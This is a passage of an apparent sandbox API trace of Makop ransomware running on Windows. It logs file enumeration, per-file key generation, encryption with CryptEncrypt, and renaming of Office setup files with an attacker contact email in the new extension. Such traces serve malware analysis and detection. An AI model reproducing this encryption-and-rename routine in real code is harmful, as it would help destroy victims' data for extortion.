Controller\\Office.en-us\\PSS10R.CHM.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 150 [0092.122] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10r.chm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10r.chm.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0092.123] CloseHandle (hObject=0x114) returned 1 [0092.123] FindNextFileW (in: hFindFile=0x48c7168, lpFindFileData=0x6574620 | out: lpFindFileData=0x6574620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49087c00, ftCreationTime.dwHighDateTime=0x1ca95c1, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x49087c00, ftLastWriteTime.dwHighDateTime=0x1ca95c1, nFileSizeHigh=0x0, nFileSizeLow=0x10676, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.CHM", cAlternateFileName="")) returned 1 [0092.123] wsprintfW (in: param_1=0x6575070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned 102 [0092.123] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0092.125] GetProcessHeap () returned 0x48a0000 [0092.125] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0092.125] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0092.125] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x65745c8 | out: lpNewFilePointer=0x0) returned 1 [0092.125] WriteFile (in: hFile=0x114, lpBuffer=0x65745d8*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x65745d8*, lpNumberOfBytesWritten=0x65745a8*=0xa, lpOverlapped=0x0) returned 1 [0092.129] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x65745ac | out: phKey=0x65745ac*=0x48c71a8) returned 1 [0092.129] CryptSetKeyParam (hKey=0x48c71a8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0092.129] GetProcessHeap () returned 0x48a0000 [0092.130] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c3738 [0092.130] CryptEncrypt (in: hKey=0x48c71a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c3738*, pdwDataLen=0x6574590*=0x30, dwBufLen=0x30 | out: pbData=0x48c3738*, pdwDataLen=0x6574590*=0x30) returned 1 [0092.130] CryptDestroyKey (hKey=0x48c71a8) returned 1 [0092.130] WriteFile (in: hFile=0x114, lpBuffer=0x48c3738*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x48c3738*, lpNumberOfBytesWritten=0x65745a8*=0x30, lpOverlapped=0x0) returned 1 [0092.130] WriteFile (in: hFile=0x114, lpBuffer=0x65745b0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x65745b0*, lpNumberOfBytesWritten=0x65745a8*=0x4, lpOverlapped=0x0) returned 1 [0092.130] WriteFile (in: hFile=0x114, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x65745a8*=0x10, lpOverlapped=0x0) returned 1 [0092.130] WriteFile (in: hFile=0x114, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x65745a8*=0x80, lpOverlapped=0x0) returned 1 [0092.131] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x65745d0 | out: lpNewFilePointer=0x0) returned 1 [0092.132] WriteFile (in: hFile=0x114, lpBuffer=0x65745c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x65745c0*, lpNumberOfBytesWritten=0x65745a8*=0x8, lpOverlapped=0x0) returned 1 [0092.132] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x65745ac | out: phKey=0x65745ac*=0x48c71a8) returned 1 [0092.132] CryptSetKeyParam (hKey=0x48c71a8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0092.132] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.132] ReadFile (in: hFile=0x114, lpBuffer=0x6370020, nNumberOfBytesToRead=0x10676, lpNumberOfBytesRead=0x65745b4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x65745b4*=0x10676, lpOverlapped=0x0) returned 1 [0092.134] CryptEncrypt (in: hKey=0x48c71a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6574590*=0x10680, dwBufLen=0x10680 | out: pbData=0x6370020*, pdwDataLen=0x6574590*=0x10680) returned 1 [0092.135] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.135] WriteFile (in: hFile=0x114, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x10680, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x65745a8*=0x10680, lpOverlapped=0x0) returned 1 [0092.135] CryptDestroyKey (hKey=0x48c71a8) returned 1 [0092.136] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x10744, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.136] SetEndOfFile (hFile=0x114) returned 1 [0092.142] GetProcessHeap () returned 0x48a0000 [0092.142] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c3738 | out: hHeap=0x48a0000) returned 1 [0092.143] GetProcessHeap () returned 0x48a0000 [0092.143] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0092.143] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 149 [0092.143] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.chm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.chm.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0092.144] CloseHandle (hObject=0x114) returned 1 [0092.144] FindNextFileW (in: hFindFile=0x48c7168, lpFindFileData=0x6574620 | out: lpFindFileData=0x6574620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8728670, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf2b422b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2488, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0092.144] wsprintfW (in: param_1=0x6575070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102 [0092.144] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0092.144] GetProcessHeap () returned 0x48a0000 [0092.144] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0092.145] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0092.145] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x65745c8 | out: lpNewFilePointer=0x0) returned 1 [0092.145] WriteFile (in: hFile=0x114, lpBuffer=0x65745d8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x65745d8*, lpNumberOfBytesWritten=0x65745a8*=0x8, lpOverlapped=0x0) returned 1 [0092.150] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x65745ac | out: phKey=0x65745ac*=0x48c71a8) returned 1 [0092.150] CryptSetKeyParam (hKey=0x48c71a8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0092.150] GetProcessHeap () returned 0x48a0000 [0092.150] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c3738 [0092.150] CryptEncrypt (in: hKey=0x48c71a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c3738*, pdwDataLen=0x6574590*=0x30, dwBufLen=0x30 | out: pbData=0x48c3738*, pdwDataLen=0x6574590*=0x30) returned 1 [0092.150] CryptDestroyKey (hKey=0x48c71a8) returned 1 [0092.150] WriteFile (in: hFile=0x114, lpBuffer=0x48c3738*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x48c3738*, lpNumberOfBytesWritten=0x65745a8*=0x30, lpOverlapped=0x0) returned 1 [0092.150] WriteFile (in: hFile=0x114, lpBuffer=0x65745b0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x65745b0*, lpNumberOfBytesWritten=0x65745a8*=0x4, lpOverlapped=0x0) returned 1 [0092.150] WriteFile (in: hFile=0x114, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x65745a8*=0x10, lpOverlapped=0x0) returned 1 [0092.150] WriteFile (in: hFile=0x114, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x65745a8*=0x80, lpOverlapped=0x0) returned 1 [0092.150] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x65745d0 | out: lpNewFilePointer=0x0) returned 1 [0092.151] WriteFile (in: hFile=0x114, lpBuffer=0x65745c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x65745c0*, lpNumberOfBytesWritten=0x65745a8*=0x8, lpOverlapped=0x0) returned 1 [0092.151] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x65745ac | out: phKey=0x65745ac*=0x48c71a8) returned 1 [0092.151] CryptSetKeyParam (hKey=0x48c71a8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0092.151] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.151] ReadFile (in: hFile=0x114, lpBuffer=0x6370020, nNumberOfBytesToRead=0x2488, lpNumberOfBytesRead=0x65745b4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x65745b4*=0x2488, lpOverlapped=0x0) returned 1 [0092.152] CryptEncrypt (in: hKey=0x48c71a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6574590*=0x2490, dwBufLen=0x2490 | out: pbData=0x6370020*, pdwDataLen=0x6574590*=0x2490) returned 1 [0092.152] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.153] WriteFile (in: hFile=0x114, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x2490, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x65745a8*=0x2490, lpOverlapped=0x0) returned 1 [0092.153] CryptDestroyKey (hKey=0x48c71a8) returned 1 [0092.153] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x2554, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.153] SetEndOfFile (hFile=0x114) returned 1 [0092.159] GetProcessHeap () returned 0x48a0000 [0092.159] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c3738 | out: hHeap=0x48a0000) returned 1 [0092.159] GetProcessHeap () returned 0x48a0000 [0092.159] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0092.159] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 149 [0092.159] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.xml.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0092.267] CloseHandle (hObject=0x114) returned 1 [0092.532] FindNextFileW (in: hFindFile=0x48c7168, lpFindFileData=0x6574620 | out: lpFindFileData=0x6574620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8728670, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf2b422b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2488, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0092.532] FindClose (in: hFindFile=0x48c7168 | out: hFindFile=0x48c7168) returned 1 [0092.532] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19b82c30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x19b82c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x19b82c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32.en-us", cAlternateFileName="OFFICE~2.EN-")) returned 1 [0092.532] wsprintfW (in: param_1=0x65772f0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us") returned 94 [0092.533] wsprintfW (in: param_1=0x6574870, param_2="%s\\*.*" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\*.*") returned 98 [0092.533] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\*.*", lpFindFileData=0x6574620 | out: lpFindFileData=0x6574620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19b82c30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x19b82c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x19b82c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c7168 [0092.534] FindNextFileW (in: hFindFile=0x48c7168, lpFindFileData=0x6574620 | out: lpFindFileData=0x6574620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19b82c30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x19b82c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x19b82c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.534] FindNextFileW (in: hFindFile=0x48c7168, lpFindFileData=0x6574620 | out: lpFindFileData=0x6574620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc138cb0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x19b82c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc138cb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x567, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32MUI.XML", cAlternateFileName="OFFICE~1.XML")) returned 1 [0092.534] wsprintfW (in: param_1=0x6575070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110 [0092.534] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\office32mui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0092.559] GetProcessHeap () returned 0x48a0000 [0092.559] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0092.559] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0092.559] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x65745c8 | out: lpNewFilePointer=0x0) returned 1 [0092.559] WriteFile (in: hFile=0x114, lpBuffer=0x65745d8*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x65745d8*, lpNumberOfBytesWritten=0x65745a8*=0x9, lpOverlapped=0x0) returned 1 [0092.565] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x65745ac | out: phKey=0x65745ac*=0x48c71a8) returned 1 [0092.565] CryptSetKeyParam (hKey=0x48c71a8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0092.565] GetProcessHeap () returned 0x48a0000 [0092.565] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0092.565] CryptEncrypt (in: hKey=0x48c71a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6574590*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6574590*=0x40) returned 1 [0092.565] CryptDestroyKey (hKey=0x48c71a8) returned 1 [0092.565] WriteFile (in: hFile=0x114, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x65745a8*=0x40, lpOverlapped=0x0) returned 1 [0092.565] WriteFile (in: hFile=0x114, lpBuffer=0x65745b0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x65745b0*, lpNumberOfBytesWritten=0x65745a8*=0x4, lpOverlapped=0x0) returned 1 [0092.565] WriteFile (in: hFile=0x114, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x65745a8*=0x10, lpOverlapped=0x0) returned 1 [0092.566] WriteFile (in: hFile=0x114, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x65745a8*=0x80, lpOverlapped=0x0) returned 1 [0092.566] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x65745d0 | out: lpNewFilePointer=0x0) returned 1 [0092.566] WriteFile (in: hFile=0x114, lpBuffer=0x65745c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x65745c0*, lpNumberOfBytesWritten=0x65745a8*=0x8, lpOverlapped=0x0) returned 1 [0092.566] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x65745ac | out: phKey=0x65745ac*=0x48c71a8) returned 1 [0092.566] CryptSetKeyParam (hKey=0x48c71a8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0092.566] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.566] ReadFile (in: hFile=0x114, lpBuffer=0x6370020, nNumberOfBytesToRead=0x567, lpNumberOfBytesRead=0x65745b4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x65745b4*=0x567, lpOverlapped=0x0) returned 1 [0092.567] CryptEncrypt (in: hKey=0x48c71a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6574590*=0x570, dwBufLen=0x570 | out: pbData=0x6370020*, pdwDataLen=0x6574590*=0x570) returned 1 [0092.567] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.567] WriteFile (in: hFile=0x114, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x570, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x65745a8*=0x570, lpOverlapped=0x0) returned 1 [0092.567] CryptDestroyKey (hKey=0x48c71a8) returned 1 [0092.567] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x644, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.568] SetEndOfFile (hFile=0x114) returned 1 [0092.574] GetProcessHeap () returned 0x48a0000 [0092.575] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0092.575] GetProcessHeap () returned 0x48a0000 [0092.575] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0092.575] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 157 [0092.575] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\office32mui.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\office32mui.xml.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0092.577] CloseHandle (hObject=0x114) returned 1 [0092.577] FindNextFileW (in: hFindFile=0x48c7168, lpFindFileData=0x6574620 | out: lpFindFileData=0x6574620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc3e4630, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x19b82c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc3e4630, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x93a, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0092.577] wsprintfW (in: param_1=0x6575070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104 [0092.577] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0092.577] GetProcessHeap () returned 0x48a0000 [0092.577] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0092.578] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0092.578] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x65745c8 | out: lpNewFilePointer=0x0) returned 1 [0092.578] WriteFile (in: hFile=0x114, lpBuffer=0x65745d8*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x65745d8*, lpNumberOfBytesWritten=0x65745a8*=0x6, lpOverlapped=0x0) returned 1 [0092.582] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x65745ac | out: phKey=0x65745ac*=0x48c71a8) returned 1 [0092.582] CryptSetKeyParam (hKey=0x48c71a8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0092.582] GetProcessHeap () returned 0x48a0000 [0092.582] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 